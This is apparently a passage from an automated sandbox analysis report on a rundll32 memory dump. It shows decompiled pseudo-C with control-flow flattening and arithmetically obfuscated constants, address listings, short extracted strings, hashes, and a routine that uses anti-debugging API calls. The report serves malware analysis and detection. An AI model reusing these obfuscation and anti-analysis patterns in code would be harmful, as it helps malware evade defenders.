				 *(_t285 + 0x5c) =  *(_t285 + 0x5c) >> 1;
				 *(_t285 + 0x5c) =  *(_t285 + 0x5c) ^ 0x0009962f;
				 *(_t285 + 0x48) = 0xed48a8;
				 *(_t285 + 0x48) =  *(_t285 + 0x48) | 0x9adffbd3;
				 *(_t285 + 0x48) =  *(_t285 + 0x48) + 0x8d78;
				 *(_t285 + 0x48) =  *(_t285 + 0x48) ^ 0x9b0235c9;
				 *(_t285 + 0x4c) = 0x1df38d;
				 *(_t285 + 0x4c) =  *(_t285 + 0x4c) >> 0xd;
				 *(_t285 + 0x4c) =  *(_t285 + 0x4c) | 0xebc8a112;
				 *(_t285 + 0x4c) =  *(_t285 + 0x4c) ^ 0xebc38c5c;
				 *(_t285 + 0x2c) = 0x71f734;
				_t279 = 0x60;
				_t283 =  *((intOrPtr*)(_t285 + 0x70));
				 *(_t285 + 0x2c) =  *(_t285 + 0x2c) / _t279;
				 *(_t285 + 0x2c) =  *(_t285 + 0x2c) ^ 0x11d6a80d;
				 *(_t285 + 0x2c) =  *(_t285 + 0x2c) + 0xffff6292;
				 *(_t285 + 0x2c) =  *(_t285 + 0x2c) ^ 0x11d6e5c3;
				 *(_t285 + 0x28) = 0xa81db;
				 *(_t285 + 0x28) =  *(_t285 + 0x28) + 0xd49;
				_t275 =  *((intOrPtr*)(_t285 + 0x70));
				 *(_t285 + 0x28) =  *(_t285 + 0x28) * 0x5b;
				 *(_t285 + 0x28) =  *(_t285 + 0x28) << 0x10;
				 *(_t285 + 0x28) =  *(_t285 + 0x28) ^ 0xe1c29fd0;
				 *(_t285 + 0x24) = 0xe01225;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) * 0x5b;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) + 0x841;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) + 0xffff52a3;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) ^ 0x4fa5a7f9;
				_t217 =  *((intOrPtr*)(_t285 + 0x68));
				while(1) {
					L1:
					_t259 =  *((intOrPtr*)(_t285 + 0x64));
					L2:
					while(1) {
						while(_t242 != 0x30cc122) {
							if(_t242 == 0x60ee968) {
								__eflags = _t275 - _t217;
								asm("sbb ecx, ecx");
								_t242 = (_t242 & 0x07bb72a2) + 0x7124ac7;
								continue;
							} else {
								if(_t242 == 0x6ac13f2) {
									_t242 = 0x60ee968;
									 *_t259 = _t283;
									_t259 = _t283 + 0x1c;
									 *((intOrPtr*)(_t285 + 0x64)) = _t259;
									 *((intOrPtr*)( *0x29e5214 + 0x10)) =  *((intOrPtr*)( *0x29e5214 + 0x10)) + 1;
									goto L13;
								} else {
									if(_t242 == 0x7124ac7) {
										E029CF699( *(_t285 + 0x58),  *((intOrPtr*)(_t285 + 0x74)),  *((intOrPtr*)(_t285 + 0x34)),  *(_t285 + 0x2c),  *(_t285 + 0x24));
									} else {
										if(_t242 == 0x9c56c35) {
											 *((char*)(_t285 + 0x13)) =  *((intOrPtr*)(_t275 + 1));
											_push(0x29c17b4);
											 *((char*)(_t285 + 0x16)) =  *((intOrPtr*)(_t275 + 2));
											E029DB062(_t283 + 0x30, __eflags,  *(_t285 + 0x1f) & 0x000000ff,  *(_t285 + 0x48),  *((intOrPtr*)(_t285 + 0x68)), E029E0AD3( *(_t285 + 0x3c),  *(_t285 + 0x54), __eflags),  *(_t285 + 0x5c), 0x10,  *((intOrPtr*)(_t285 + 0x30)),  *(_t285 + 0x22) & 0x000000ff,  *(_t275 + 3) & 0x000000ff,  *(_t275 + 3) & 0x000000ff,  *(_t285 + 0x1c));
											E029D2EED( *((intOrPtr*)(_t285 + 0x98)),  *((intOrPtr*)(_t285 + 0x94)),  *((intOrPtr*)(_t285 + 0x7c)), _t225);
											_t285 = _t285 + 0x38;
											 *(_t283 + 0x50) = ( *(_t275 + 4) & 0x000000ff) << 0x00000008 |  *(_t275 + 5) & 0x000000ff;
											_t230 =  *((intOrPtr*)(_t275 + 6));
											_t252 =  *((intOrPtr*)(_t275 + 7));
											_t275 = _t275 + 8;
											_t242 = 0x6ac13f2;
											 *(_t283 + 0x28) = (_t230 & 0x000000ff) << 0x00000008 | _t252 & 0x000000ff;
											goto L12;
										} else {
											if(_t242 == 0xecdbd69) {
												_push(_t242);
												_t271 = 0x58;
												_t283 = E029D6F53(_t271);
												__eflags = _t283;
												if(__eflags != 0) {
													_t242 = 0x9c56c35;
													L12:
													_t259 =  *((intOrPtr*)(_t285 + 0x64));
													goto L13;
												}
											} else {
												_t294 = _t242 - 0xfab09ce;
												if(_t242 != 0xfab09ce) {
													L18:
													__eflags = _t242 - 0x89a5c11;
													if(__eflags != 0) {
														L13:
														_t217 =  *((intOrPtr*)(_t285 + 0x68));
														continue;
													}
												} else {
													_t273 = E029D8518( *(_t285 + 0x3c),  *(_t285 + 0x38), _t294, _t285 + 0x74,  *(_t285 + 0x54), 0x29e5000);
													_t285 = _t285 + 0xc;
													_t275 = _t273;
													_t217 =  *((intOrPtr*)(_t285 + 0x6c)) + _t273;
													 *((intOrPtr*)(_t285 + 0x70)) = _t273;
													 *((intOrPtr*)(_t285 + 0x68)) = _t217;
													_t242 = 0xecdbd69;
													goto L1;
												}
											}
										}
									}
								}
							}
							_t243 =  *0x29e5214;
							 *(_t243 + 0x34) =  *(_t243 + 0x34) & 0x00000000;
							 *((intOrPtr*)(_t243 + 0x24)) =  *((intOrPtr*)(_t243 + 0x14));
							__eflags = 1;
							return 1;
						}
						_t242 = 0xfab09ce;
						_t259 =  *0x29e5214 + 0x14;
						__eflags = _t259;
						 *((intOrPtr*)(_t285 + 0x64)) = _t259;
						goto L18;
					}
				}
			}

0x029cbef8
0x029cbf02
0x029cbf0a
0x029cbf0f
0x029cbf17
0x029cbf1f
0x029cbf27
0x029cbf2f
0x029cbf37
0x029cbf3f
0x029cbf50
0x029cbf54
0x029cbf5c
0x029cbf64
0x029cbf6c
0x029cbf74
0x029cbf7c
0x029cbf84
0x029cbf8a
0x029cbf8d
0x029cbf91
0x029cbf99
0x029cbfa1
0x029cbfa9
0x029cbfb1
0x029cbfb9
0x029cbfc1
0x029cbfc9
0x029cbfd1
0x029cbfd9
0x029cbfe1
0x029cbfee
0x029cbff2
0x029cbffa
0x029cc002
0x029cc00a
0x029cc00f
0x029cc014
0x029cc01c
0x029cc024
0x029cc02c
0x029cc034
0x029cc03c
0x029cc044
0x029cc04c
0x029cc054
0x029cc05c
0x029cc064
0x029cc06c
0x029cc079
0x029cc07d
0x029cc085
0x029cc08d
0x029cc095
0x029cc0a2
0x029cc0a6
0x029cc0ae
0x029cc0b6
0x029cc0bb
0x029cc0c3
0x029cc0cb
0x029cc0cf
0x029cc0d7
0x029cc0df
0x029cc0e7
0x029cc0ef
0x029cc0f7
0x029cc0ff
0x029cc104
0x029cc10c
0x029cc114
0x029cc124
0x029cc127
0x029cc12b
0x029cc12f
0x029cc137
0x029cc13f
0x029cc147
0x029cc14f
0x029cc15c
0x029cc160
0x029cc164
0x029cc169
0x029cc171
0x029cc17e
0x029cc182
0x029cc18a
0x029cc192
0x029cc19a
0x029cc19e
0x029cc19e
0x029cc19e
0x00000000
0x029cc1a2
0x029cc1a2
0x029cc1b4
0x029cc324
0x029cc326
0x029cc32e
0x00000000
0x029cc1ba
0x029cc1c0
0x029cc30e
0x029cc313
0x029cc315
0x029cc318
0x029cc31c
0x00000000
0x029cc1c6
0x029cc1cc
0x029cc36c
0x029cc1d2
0x029cc1d8
0x029cc266
0x029cc26d
0x029cc272
0x029cc2b2
0x029cc2ca
0x029cc2d3
0x029cc2e1
0x029cc2e5
0x029cc2e8
0x029cc2eb
0x029cc2f4
0x029cc300
0x00000000
0x029cc1da
0x029cc1e0
0x029cc230
0x029cc233
0x029cc239
0x029cc23c
0x029cc23e
0x029cc244
0x029cc249
0x029cc249
0x00000000
0x029cc249
0x029cc1e2
0x029cc1e2
0x029cc1e8
0x029cc34b
0x029cc34b
0x029cc351
0x029cc24d
0x029cc24d
0x00000000
0x029cc24d
0x029cc1ee
0x029cc209
0x029cc20b
0x029cc212
0x029cc214
0x029cc216
0x029cc21a
0x029cc21e
0x00000000
0x029cc21e
0x029cc1e8
0x029cc1e0
0x029cc1d8
0x029cc1cc
0x029cc1c0
0x029cc374
0x029cc380
0x029cc384
0x029cc389
0x029cc38e
0x029cc38e
0x029cc33f
0x029cc344
0x029cc344
0x029cc347
0x00000000
0x029cc347
0x029cc1a2

Strings

I, xrefs: 029CC14F
>/f, xrefs: 029CBF84
oNL, xrefs: 029CBEF8
", xrefs: 029CC08D
ln, xrefs: 029CBF02

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: "$>/f$I$ln$oNL
API String ID: 0-652186313
Opcode ID: 8b8a8718988344c21f2484a4e771cb6fbc04feb7ee12fa634577f5ee7bb4289a
Instruction ID: f39e27aec0ad7c85240cc25edcfea440de50e06bdde2ee3e0afc4fbf8d9a248f
Opcode Fuzzy Hash: 8b8a8718988344c21f2484a4e771cb6fbc04feb7ee12fa634577f5ee7bb4289a
Instruction Fuzzy Hash: D8C140B14083819FC358CF65C18545BBFE1BBD9708F508A0EF19A96260D3B9DA49CF87

Uniqueness

Uniqueness Score: -1.00%

Function 029CE336, Relevance: 6.5, Strings: 5, Instructions: 215
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E029CE336(signed int* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				unsigned int _v96;
				signed int _v100;
				void* __ecx;
				void* _t188;
				signed int _t216;
				signed int _t223;
				signed int _t224;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				void* _t232;
				signed int* _t260;
				signed int* _t263;

				_t259 = _a12;
				_t260 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t188);
				_v56 = 0xa7a944;
				_t263 =  &(( &_v100)[5]);
				_v56 = _v56 + 0xe1a9;
				_v56 = _v56 ^ 0x00a88aed;
				_t232 = 0xc36246b;
				_v96 = 0x11479f;
				_v96 = _v96 >> 7;
				_v96 = _v96 + 0xffffb1dc;
				_v96 = _v96 >> 0xd;
				_v96 = _v96 ^ 0x00051b28;
				_v100 = 0x5584d4;
				_v100 = _v100 + 0xfd1;
				_v100 = _v100 ^ 0x6ffdd160;
				_t223 = 0x35;
				_v100 = _v100 / _t223;
				_v100 = _v100 ^ 0x021e605d;
				_v92 = 0xf7b67c;
				_v92 = _v92 + 0xffffbe96;
				_v92 = _v92 ^ 0x1fe5d46e;
				_v92 = _v92 >> 0xf;
				_v92 = _v92 ^ 0x000a2700;
				_v68 = 0xb8090b;
				_v68 = _v68 << 0xd;
				_v68 = _v68 ^ 0x6e4caded;
				_v68 = _v68 ^ 0x6f6b4079;
				_v72 = 0xca2c81;
				_t224 = 0x3b;
				_v72 = _v72 * 0x2f;
				_v72 = _v72 + 0x7eae;
				_v72 = _v72 ^ 0x2511fd98;
				_v40 = 0xea9b6;
				_v40 = _v40 + 0x3159;
				_v40 = _v40 ^ 0x000fc621;
				_v44 = 0x1244ea;
				_v44 = _v44 + 0x31ee;
				_v44 = _v44 ^ 0x00142b0d;
				_v60 = 0xbbb85c;
				_v60 = _v60 + 0xffff646f;
				_v60 = _v60 / _t224;
				_v60 = _v60 ^ 0x00015e4c;
				_v84 = 0x2c859f;
				_v84 = _v84 >> 2;
				_v84 = _v84 + 0xffff115e;
				_v84 = _v84 ^ 0x9e597194;
				_v84 = _v84 ^ 0x9e526ea8;
				_v64 = 0x291fce;
				_v64 = _v64 << 0x10;
				_t225 = 0x18;
				_v64 = _v64 / _t225;
				_v64 = _v64 ^ 0x015daf90;
				_v48 = 0x6549d9;
				_v48 = _v48 + 0x3353;
				_v48 = _v48 ^ 0x006c1a06;
				_v88 = 0x2a3ea9;
				_v88 = _v88 << 1;
				_v88 = _v88 + 0xffffd938;
				_t226 = 0x4e;
				_v88 = _v88 * 0x3f;
				_v88 = _v88 ^ 0x14c0a8c8;
				_v52 = 0x3c9586;
				_v52 = _v52 ^ 0x7e7c05ee;
				_v52 = _v52 ^ 0x7e408d12;
				_v76 = 0x54e897;
				_v76 = _v76 / _t226;
				_v76 = _v76 ^ 0x8226ac71;
				_t227 = 0x1e;
				_v76 = _v76 / _t227;
				_v76 = _v76 ^ 0x04556585;
				_v32 = 0x562f1c;
				_v32 = _v32 >> 1;
				_v32 = _v32 ^ 0x002a2ef3;
				_v36 = 0xcc52d5;
				_t228 = 0x6c;
				_v36 = _v36 / _t228;
				_v36 = _v36 ^ 0x000455b4;
				_v80 = 0x7365ce;
				_t229 = 0x49;
				_v80 = _v80 * 0x5b;
				_v80 = _v80 / _t229;
				_v80 = _v80 + 0x2226;
				_v80 = _v80 ^ 0x008fd202;
				do {
					while(_t232 != 0x28beab5) {
						if(_t232 == 0x2f13ee2) {
							_t260[1] = E029DCF2C(_t259);
							_t232 = 0xb720893;
							continue;
						} else {
							if(_t232 == 0x5da78ca) {
								E029D0824(_v64, _v48, __eflags, _v88,  &_v28, _t259 + 0x1c, _v52);
								_t263 =  &(_t263[4]);
								_t232 = 0xc9ec420;
								continue;
							} else {
								if(_t232 == 0x997739f) {
									E029D777F(_v92, _v68,  &_v28, _t260, _v72);
									_t263 =  &(_t263[3]);
									_t232 = 0x28beab5;
									continue;
								} else {
									if(_t232 == 0xb720893) {
										_push(_t232);
										_t216 = E029D6F53(_t260[1]);
										 *_t260 = _t216;
										__eflags = _t216;
										if(__eflags != 0) {
											_t232 = 0x997739f;
											continue;
										}
									} else {
										if(_t232 == 0xc36246b) {
											_t232 = 0x2f13ee2;
											 *_t260 =  *_t260 & 0x00000000;
											_t260[1] = _v56;
											continue;
										} else {
											_t272 = _t232 - 0xc9ec420;
											if(_t232 != 0xc9ec420) {
												goto L17;
											} else {
												E029D0824(_v76, _v32, _t272, _v36,  &_v28, _t259 + 0x24, _v80);
											}
										}
									}
								}
							}
						}
						L9:
						return 0 |  *_t260 != 0x00000000;
					}
					E029CE1EB( &_v28,  *((intOrPtr*)(_t259 + 0x2c)), _v40, _v44, _v60, _v84);
					_t263 =  &(_t263[4]);
					_t232 = 0x5da78ca;
					L17:
					__eflags = _t232 - 0xf316628;
				} while (__eflags != 0);
				goto L9;
			}

0x029ce33d
0x029ce344
0x029ce346
0x029ce347
0x029ce34e
0x029ce355
0x029ce357
0x029ce35c
0x029ce364
0x029ce367
0x029ce371
0x029ce379
0x029ce37e
0x029ce386
0x029ce38b
0x029ce393
0x029ce398
0x029ce3a0
0x029ce3a8
0x029ce3b0
0x029ce3be
0x029ce3c3
0x029ce3c9
0x029ce3d1
0x029ce3d9
0x029ce3e1
0x029ce3e9
0x029ce3ee
0x029ce3f6
0x029ce3fe
0x029ce403
0x029ce40b
0x029ce413
0x029ce420
0x029ce423
0x029ce427
0x029ce42f
0x029ce437
0x029ce43f
0x029ce447
0x029ce44f
0x029ce457
0x029ce45f
0x029ce467
0x029ce46f
0x029ce47f
0x029ce483
0x029ce48b
0x029ce493
0x029ce498
0x029ce4a0
0x029ce4a8
0x029ce4b0
0x029ce4b8
0x029ce4c1
0x029ce4c4
0x029ce4c8
0x029ce4d0
0x029ce4d8
0x029ce4e0
0x029ce4e8
0x029ce4f0
0x029ce4f4
0x029ce505
0x029ce50d
0x029ce511
0x029ce519
0x029ce521
0x029ce529
0x029ce531
0x029ce541
0x029ce545
0x029ce551
0x029ce556
0x029ce55c
0x029ce564
0x029ce56c
0x029ce570
0x029ce578
0x029ce584
0x029ce589
0x029ce58f
0x029ce597
0x029ce5a4
0x029ce5a5
0x029ce5b4
0x029ce5b8
0x029ce5c0
0x029ce5c8
0x029ce5c8
0x029ce5d6
0x029ce6bb
0x029ce6be
0x00000000
0x029ce5dc
0x029ce5e2
0x029ce6a2
0x029ce6a7
0x029ce6aa
0x00000000
0x029ce5e8
0x029ce5ea
0x029ce677
0x029ce67c
0x029ce67f
0x00000000
0x029ce5ec
0x029ce5f2
0x029ce651
0x029ce652
0x029ce657
0x029ce65a
0x029ce65c
0x029ce65e
0x00000000
0x029ce65e
0x029ce5f4
0x029ce5fa
0x029ce63c
0x029ce63e
0x029ce641
0x00000000
0x029ce5fc
0x029ce5fc
0x029ce602
0x00000000
0x029ce608
0x029ce621
0x029ce626
0x029ce602
0x029ce5fa
0x029ce5f2
0x029ce5ea
0x029ce5e2
0x029ce629
0x029ce637
0x029ce637
0x029ce6df
0x029ce6e4
0x029ce6e7
0x029ce6ec
0x029ce6ec
0x029ce6ec
0x00000000

Strings

S3, xrefs: 029CE4D8
Y1, xrefs: 029CE43F
&", xrefs: 029CE5B8
y@ko, xrefs: 029CE40B
1, xrefs: 029CE457

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: &"$S3$Y1$y@ko$1
API String ID: 0-1237345320
Opcode ID: 2e67d75e1ee54aa5971e102839bacc5ad747a8944f0e4f7317547e045e88611f
Instruction ID: c19cc85a0a195806d2c6d81ac583293e6491b8cadd1a3a3be743e7eccf4beb1e
Opcode Fuzzy Hash: 2e67d75e1ee54aa5971e102839bacc5ad747a8944f0e4f7317547e045e88611f
Instruction Fuzzy Hash: B9A141715093419FD358CF61C58992BBBE6FBC8708F50891DF29A96260D3B6DA098F43

Uniqueness

Uniqueness Score: -1.00%

Function 029DD10B, Relevance: 6.4, Strings: 5, Instructions: 200
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029DD10B(signed int __ecx, void* __edx) {
				signed int _v4;
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				void* _t199;
				intOrPtr _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t210;
				signed int _t211;
				signed int _t212;
				void* _t236;
				void* _t237;
				signed int* _t240;

				_t240 =  &_v92;
				_t236 = __edx;
				_t206 = __ecx;
				_v8 = _v8 & 0x00000000;
				_v4 = _v4 & 0x00000000;
				_v12 = 0xdbcc89;
				_v68 = 0x2fdde1;
				_v68 = _v68 >> 8;
				_v68 = _v68 << 0xd;
				_v68 = _v68 ^ 0x05f91a7b;
				_v36 = 0x1b45e0;
				_v36 = _v36 << 0x10;
				_v36 = _v36 ^ 0x45e36e46;
				_v40 = 0x45b21;
				_v40 = _v40 ^ 0x7e564535;
				_v40 = _v40 ^ 0x7e5c0eb6;
				_v28 = 0x2dbe9e;
				_v28 = _v28 + 0x20bf;
				_v28 = _v28 ^ 0x002ab912;
				_v84 = 0x91b36c;
				_v84 = _v84 + 0xcd74;
				_v84 = _v84 << 0xc;
				_v84 = _v84 + 0xffffa0fa;
				_v84 = _v84 ^ 0x280d57fd;
				_v64 = 0xa44eb5;
				_t237 = 0x57b7895;
				_t208 = 0x39;
				_v64 = _v64 / _t208;
				_v64 = _v64 << 8;
				_v64 = _v64 ^ 0x02ea6def;
				_v32 = 0x8ea25f;
				_v32 = _v32 + 0xd9cc;
				_v32 = _v32 ^ 0x00834223;
				_v56 = 0x20d27d;
				_v56 = _v56 >> 5;
				_v56 = _v56 + 0xffff0e7e;
				_v56 = _v56 ^ 0x00058b38;
				_v80 = 0x6c32e9;
				_t61 =  &_v80; // 0x6c32e9
				_t209 = 0x44;
				_v80 =  *_t61 / _t209;
				_v80 = _v80 + 0xffff2e47;
				_v80 = _v80 + 0x2f27;
				_v80 = _v80 ^ 0x0001a3ca;
				_v60 = 0x94430b;
				_v60 = _v60 >> 0xe;
				_t210 = 0x2c;
				_v60 = _v60 / _t210;
				_v60 = _v60 ^ 0x000d43ab;
				_v24 = 0x852134;
				_t211 = 0x27;
				_v24 = _v24 / _t211;
				_v24 = _v24 ^ 0x00085c30;
				_v72 = 0x703128;
				_v72 = _v72 | 0x012f4ee2;
				_v72 = _v72 + 0xffff75c4;
				_v72 = _v72 ^ 0x017fbcec;
				_v76 = 0xf5793c;
				_v76 = _v76 >> 0xc;
				_v76 = _v76 | 0x707a1b74;
				_v76 = _v76 ^ 0x7075fb04;
				_v88 = 0x2af451;
				_v88 = _v88 ^ 0x2459b879;
				_t212 = 0x6a;
				_v88 = _v88 / _t212;
				_v88 = _v88 | 0xc0c8e005;
				_v88 = _v88 ^ 0xc0dc36b2;
				_v44 = 0xd18ab;
				_v44 = _v44 >> 0xb;
				_v44 = _v44 ^ 0x0002af72;
				_v92 = 0xe617b3;
				_v92 = _v92 | 0xede3f9df;
				_v92 = _v92 >> 5;
				_v92 = _v92 ^ 0x07643bcf;
				_v48 = 0x642775;
				_v48 = _v48 << 2;
				_v48 = _v48 ^ 0x01999402;
				_v52 = 0xbfe40;
				_t213 = 0x35;
				_v52 = _v52 * 0x2a;
				_v52 = _v52 + 0xffffd547;
				_v52 = _v52 ^ 0x01f10a5f;
				_v16 = 0x42d2c2;
				_v16 = _v16 / _t213;
				_v16 = _v16 ^ 0x0001b6ea;
				_v20 = 0x9f6730;
				_v20 = _v20 >> 6;
				_v20 = _v20 ^ 0x00064e76;
				while(1) {
					L1:
					_t199 = 0xbdf265f;
					do {
						L2:
						while(_t237 != 0x196af19) {
							if(_t237 == 0x57b7895) {
								_t237 = 0x196af19;
								continue;
							}
							if(_t237 == 0x72a3784) {
								return E029CFA7D(_v52, _v16,  *((intOrPtr*)(_t236 + 0x40)), _v20);
							}
							if(_t237 != _t199) {
								if(_t237 != 0xeedc993) {
									goto L14;
								} else {
									_t213 = _v72;
									_t203 = E029C3792(_v72, _v76,  *((intOrPtr*)(_t236 + 0x40)));
									_t240 =  &(_t240[1]);
									 *((intOrPtr*)(_t236 + 0x3c)) = _t203;
									_t199 = 0xbdf265f;
									_t237 =  !=  ? 0xbdf265f : 0x72a3784;
									continue;
								}
							}
							_t202 = E029C37AD(E029CF4A5, _t236, _v88, _t213, _v44, _v92, _t213, _t213, _v48);
							_t240 =  &(_t240[8]);
							 *((intOrPtr*)(_t236 + 0x54)) = _t202;
							__eflags = _t202;
							if(__eflags == 0) {
								_t237 = 0x72a3784;
								while(1) {
									L1:
									_t199 = 0xbdf265f;
									goto L2;
								}
							}
							return _t202;
							L18:
						}
						_t213 = _t206;
						_t200 = E029C68AD(_t206, __eflags, _v68, _v36, _v40);
						_t240 =  &(_t240[3]);
						 *((intOrPtr*)(_t236 + 0x40)) = _t200;
						__eflags = _t200;
						if(_t200 == 0) {
							_t237 = 0x6433b10;
							_t199 = 0xbdf265f;
							goto L14;
						} else {
							E029CF8D6(_v84,  *((intOrPtr*)(_t236 + 0x40)), _v64,  *((intOrPtr*)(_t236 + 0x40)), _v32);
							_t213 = _v56;
							E029D834F(_v56, _v80, _v60, _v24,  *((intOrPtr*)(_t236 + 0x40)));
							_t240 =  &(_t240[7]);
							_t237 = 0xeedc993;
							goto L1;
						}
						goto L18;
						L14:
						__eflags = _t237 - 0x6433b10;
					} while (__eflags != 0);
					return _t199;
				}
			}

0x029dd10b
0x029dd112
0x029dd114
0x029dd116
0x029dd11b
0x029dd120
0x029dd128
0x029dd130
0x029dd135
0x029dd13a
0x029dd142
0x029dd14a
0x029dd14f
0x029dd157
0x029dd15f
0x029dd167
0x029dd16f
0x029dd177
0x029dd17f
0x029dd187
0x029dd18f
0x029dd197
0x029dd19c
0x029dd1a4
0x029dd1ac
0x029dd1bc
0x029dd1c1
0x029dd1c6
0x029dd1cc
0x029dd1d1
0x029dd1d9
0x029dd1e1
0x029dd1e9
0x029dd1f1
0x029dd1f9
0x029dd1fe
0x029dd206
0x029dd20e
0x029dd216
0x029dd21a
0x029dd21f
0x029dd225
0x029dd22d
0x029dd235
0x029dd23d
0x029dd245
0x029dd24e
0x029dd253
0x029dd259
0x029dd261
0x029dd26d
0x029dd270
0x029dd274
0x029dd27c
0x029dd284
0x029dd28c
0x029dd294
0x029dd29c
0x029dd2a4
0x029dd2a9
0x029dd2b1
0x029dd2b9
0x029dd2c1
0x029dd2d1
0x029dd2d6
0x029dd2dc
0x029dd2e9
0x029dd2f1
0x029dd2f9
0x029dd2fe
0x029dd306
0x029dd30e
0x029dd316
0x029dd31b
0x029dd323
0x029dd32b
0x029dd330
0x029dd338
0x029dd345
0x029dd346
0x029dd34a
0x029dd352
0x029dd35a
0x029dd368
0x029dd36c
0x029dd374
0x029dd37c
0x029dd381
0x029dd389
0x029dd389
0x029dd389
0x029dd38e
0x00000000
0x029dd38e
0x029dd3a0
0x029dd411
0x00000000
0x029dd411
0x029dd3a4
0x00000000
0x029dd4a5
0x029dd3ac
0x029dd3b4
0x00000000
0x029dd3ba
0x029dd3c1
0x029dd3c5
0x029dd3ca
0x029dd3cd
0x029dd3d4
0x029dd3d9
0x00000000
0x029dd3d9
0x029dd3b4
0x029dd3f7
0x029dd3fc
0x029dd3ff
0x029dd402
0x029dd404
0x029dd40a
0x029dd389
0x029dd389
0x029dd389
0x00000000
0x029dd389
0x029dd389
0x029dd4ad
0x00000000
0x029dd4ad
0x029dd41f
0x029dd429
0x029dd42e
0x029dd431
0x029dd434
0x029dd436
0x029dd478
0x029dd47d
0x00000000
0x029dd438
0x029dd44e
0x029dd462
0x029dd466
0x029dd46b
0x029dd46e
0x00000000
0x029dd46e
0x00000000
0x029dd482
0x029dd482
0x029dd482
0x00000000
0x029dd38e

Strings

(1p, xrefs: 029DD27C
u'd, xrefs: 029DD323
2l, xrefs: 029DD216
FnE, xrefs: 029DD14F
5EV~, xrefs: 029DD15F

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: (1p$5EV~$FnE$u'd$2l
API String ID: 0-2267264843
Opcode ID: ac6cd6e04fa6e3b6c1a3b161be6ed4fd49b8a5ef09051ecaf7145eb7f6cd6c1f
Instruction ID: 34aa444beec3e26f8992550af0ba18af3af2e4a3bca3a39d3d79885ae7958d46
Opcode Fuzzy Hash: ac6cd6e04fa6e3b6c1a3b161be6ed4fd49b8a5ef09051ecaf7145eb7f6cd6c1f
Instruction Fuzzy Hash: 85913372508381DBC358DF64C88A41BFBE2FBC4798F105A1DF18596260D7B6DA58CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0D1CC, Relevance: 6.1, APIs: 4, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6EA0D1D8
IsDebuggerPresent.KERNEL32 ref: 6EA0D2A4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6EA0D2C4
UnhandledExceptionFilter.KERNEL32(?), ref: 6EA0D2CE

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ead921b8613fbe8f834c84b7761c64cdcab5363f12cd4713366e8fca2b9207c4
Instruction ID: c737cf6fc3262b70b544ad5cc2a2efffdfbde0408cd2b02f9e79c2ba554fed64
Opcode Fuzzy Hash: ead921b8613fbe8f834c84b7761c64cdcab5363f12cd4713366e8fca2b9207c4
Instruction Fuzzy Hash: 2731FC75D053189BDF51DFA4D9497CDBBB8AF08304F1041AAE40DAB240EB759A85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 029D13DB, Relevance: 5.4, Strings: 4, Instructions: 400
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E029D13DB() {
				intOrPtr _t427;
				intOrPtr _t433;
				intOrPtr _t434;
				intOrPtr _t439;
				intOrPtr* _t443;
				intOrPtr* _t445;
				void* _t450;
				signed int _t498;
				intOrPtr* _t499;
				signed int _t502;
				signed int _t503;
				signed int _t504;
				signed int _t505;
				signed int _t506;
				signed int _t507;
				signed int _t508;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				void* _t513;
				intOrPtr* _t514;
				void* _t519;

				 *(_t519 + 0x38) = 0x41ad3c;
				 *(_t519 + 0x38) =  *(_t519 + 0x38) + 0xffff20a8;
				_t450 = 0x5c9444b;
				 *(_t519 + 0x38) =  *(_t519 + 0x38) ^ 0x97924760;
